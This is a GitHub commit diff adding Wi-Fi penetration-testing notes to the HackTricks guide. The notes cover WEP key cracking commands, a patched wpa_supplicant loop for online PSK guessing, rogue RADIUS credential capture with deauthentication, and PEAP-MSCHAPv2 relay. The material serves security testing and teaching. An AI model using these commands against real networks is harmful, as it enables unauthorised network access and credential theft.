Skip to content

Commit 1476833

Browse files
authored
Merge pull request #1760 from HackTricks-wiki/update_Wireless-_in_Fidelity__Pentesting_Wi-Fi_in_2025_20260114_124845
Wireless-(in)Fidelity Pentesting Wi-Fi in 2025
2 parents a8dc943 + b0f2fe0 commit 1476833

File tree

1 file changed

+78
-1
lines changed
  • src/generic-methodologies-and-resources/pentesting-wifi

1 file changed

+78
-1
lines changed

src/generic-methodologies-and-resources/pentesting-wifi/README.md

Lines changed: 78 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -108,6 +108,26 @@ This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically:
108108
- **+ Open** -- Useful to capture captive portal creds and/or perform LAN attacks
109109
- **+ WPA** -- Useful to capture WPA handshakes
110110

111+
## Open / OWE networks quick notes
112+
113+
- **Passive capture** on open SSIDs still works with monitor mode and tcpdump:
114+
115+
```bash
116+
iw wlan0 set type monitor
117+
ip link set wlan0 up
118+
iw wlan0 set channel 6
119+
tcpdump -i wlan0 -w capture.pcap
120+
```
121+
122+
- **OWE** (Opportunistic Wireless Encryption) performs a per-station key exchange (no PSK), so air frames are encrypted even on "open" SSIDs. Being WPA3-based, it also enforces **802.11w PMF**, which blocks spoofed deauth/disassoc frames.
123+
- OWE **does not authenticate** joiners: anyone can associate, so **verify client isolation** instead of trusting marketing claims. Without isolation, ARP spoofing or responder-style poisoning on the local L2 still works.
124+
- **Evil Twin** remains feasible on open/OWE SSIDs by presenting a stronger signal; PMF just removes the deauth shortcut. If victims accept a forged TLS cert, full HTTP(S) MitM is regained.
125+
- Broadcast poisoning on open guest Wi-Fi easily yields creds/hashes (LLMNR/NBT-NS/mDNS). See:
126+
127+
{{#ref}}
128+
../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
129+
{{#endref}}
130+
111131
## DOS
112132

113133
### Deauthentication Packets
@@ -283,7 +303,22 @@ All the proposed WPS attacks can be easily performed using _**airgeddon.**_
283303

284304
## **WEP**
285305

286-
So broken and unused nowdays. Just know that _**airgeddon**_ have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options.
306+
**Why it collapses**
307+
308+
- RC4 seed is just **IV (24 bits) + shared key**. The IV is cleartext, tiny (2^24), and repeats quickly, so ciphertexts with the same IV reuse the keystream.
309+
- XORing two ciphertexts with the same keystream leaks `PlaintextA ⊕ PlaintextB`; predictable headers + RC4 KSA biases (**FMS**) let you “vote” key bytes. **PTW** optimises this using ARP traffic to drop requirements to tens of thousands of packets instead of millions.
310+
- Integrity is only **CRC32** (linear/unkeyed), so an attacker can flip bits and recompute CRC32 without the key → packet forgery/replay/ARP injection while waiting for IVs.
311+
312+
Practical break is deterministic:
313+
314+
```bash
315+
airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon # collect IVs
316+
# optionally speed up IVs without deauth by replaying ARP
317+
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
318+
aircrack-ng wep_capture-01.cap # PTW attack recovers key once IV threshold is met
319+
```
320+
321+
Airgeddon still ships an "All-in-One" WEP workflow if you prefer a guided UI.
287322

288323
![](<../../images/image (432).png>)
289324

@@ -402,6 +437,36 @@ apt-get install pyrit #Not working for newer versions of kali
402437
pyrit -r psk-01.cap analyze
403438
```
404439

440+
#### Faster online PSK guessing via `wpa_supplicant` ctrl socket (no clients/PMKID)
441+
442+
When no clients are around and the AP refuses PMKID, you can iterate PSKs online without respawning supplicants:
443+
444+
- Patch `wpa_supplicant.c` to force `dur = 0;` in the auth failure backoff logic (around `ssid->auth_failures`), effectively disabling the temporary-disable timer.
445+
- Run a single daemon with a control socket:
446+
447+
```bash
448+
# wpa_supplicant.conf
449+
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
450+
update_config=1
451+
452+
wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
453+
```
454+
455+
- Drive it via the control interface, reusing the same scan and network:
456+
457+
```text
458+
ADD_NETWORK
459+
SET_NETWORK 0 ssid "<ssid>"
460+
ENABLE_NETWORK 0
461+
SCAN
462+
(loop)
463+
SET_NETWORK 0 psk "<candidate>"
464+
REASSOCIATE
465+
wait for CTRL-EVENT-CONNECTED / DISCONNECTED
466+
```
467+
468+
A small Python loop reading socket events (`CTRL-EVENT-CONNECTED` / `CTRL-EVENT-DISCONNECTED`) can test ~100 guesses in ~5 minutes without scan overhead. It is still noisy and detectable, but avoids per-attempt process restarts and backoff delays.
469+
405470
## **WPA Enterprise (MGT)**
406471

407472
In **enterprise WiFi setups, you'll encounter various authentication methods**, each providing different security levels and management features. When you use tools like `airodump-ng` to inspect network traffic, you might notice identifiers for these authentication types. Some common methods include:
@@ -714,6 +779,16 @@ Or you could also use:
714779
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
715780
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
716781

782+
#### When clients skip RADIUS certificate validation (PEAP/TTLS)
783+
784+
- If devices are configured with "do not validate certificate", a cloned AP + rogue RADIUS (`eaphammer --cert-wizard --creds --auth wpa-eap`) will collect **NetNTLMv2** (PEAP-MSCHAPv2) or **cleartext** creds (PEAP-GTC). `bettercap` deauth (`wifi.deauth <BSSID>`) both reveals hidden SSIDs during probes and forces reconnects, unless PMF/802.11w blocks spoofed deauth.
785+
- Cracked NetNTLMv2 gives reusable Wi‑Fi/AD creds; GTC yields immediate plaintext.
786+
787+
#### Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)
788+
789+
- For machine accounts with uncrackable random passwords, abuse **MSCHAPv2 relay**: run `hostapd-mana` as the Evil Twin, forwarding the MSCHAPv2 exchange to `wpa_sycophant`, which simultaneously connects to the legitimate AP. Successful relay grants authenticated Wi‑Fi without recovering the password.
790+
- Use builds that support the target security level (WPA3/PMF requires recent hostapd/wpa_supplicant); PMF prevents deauth coercion, so wait for voluntary client associations.
791+
717792
**Using Airgeddon**
718793

719794
`Airgeddon` can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to **capture the user and the MD5 of the password**. Later, the attacker can try to crack the password.\
@@ -851,6 +926,8 @@ These methods, particularly PIN entry, are susceptible to the same vulnerabiliti
851926
- [The vulnerability that killed FreeWifi_Secure](https://7h30th3r0n3.fr/the-vulnerability-that-killed-freewifi_secure/)
852927
- [RFC 4186 – EAP-SIM Authentication](https://datatracker.ietf.org/doc/html/rfc4186)
853928
- [3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses](https://www.3gpp.org/ftp/Specs/archive/33_series/33.402/)
929+
- [Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 (Synacktiv)](https://www.synacktiv.com/en/publications/wireless-infidelity-pentesting-wi-fi-in-2025.html)
930+
- [PEAP relay attacks with wpa_sycophant (SensePost)](https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa_sycophant/)
854931
855932
856933
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)

0 commit comments

Comments
 (0)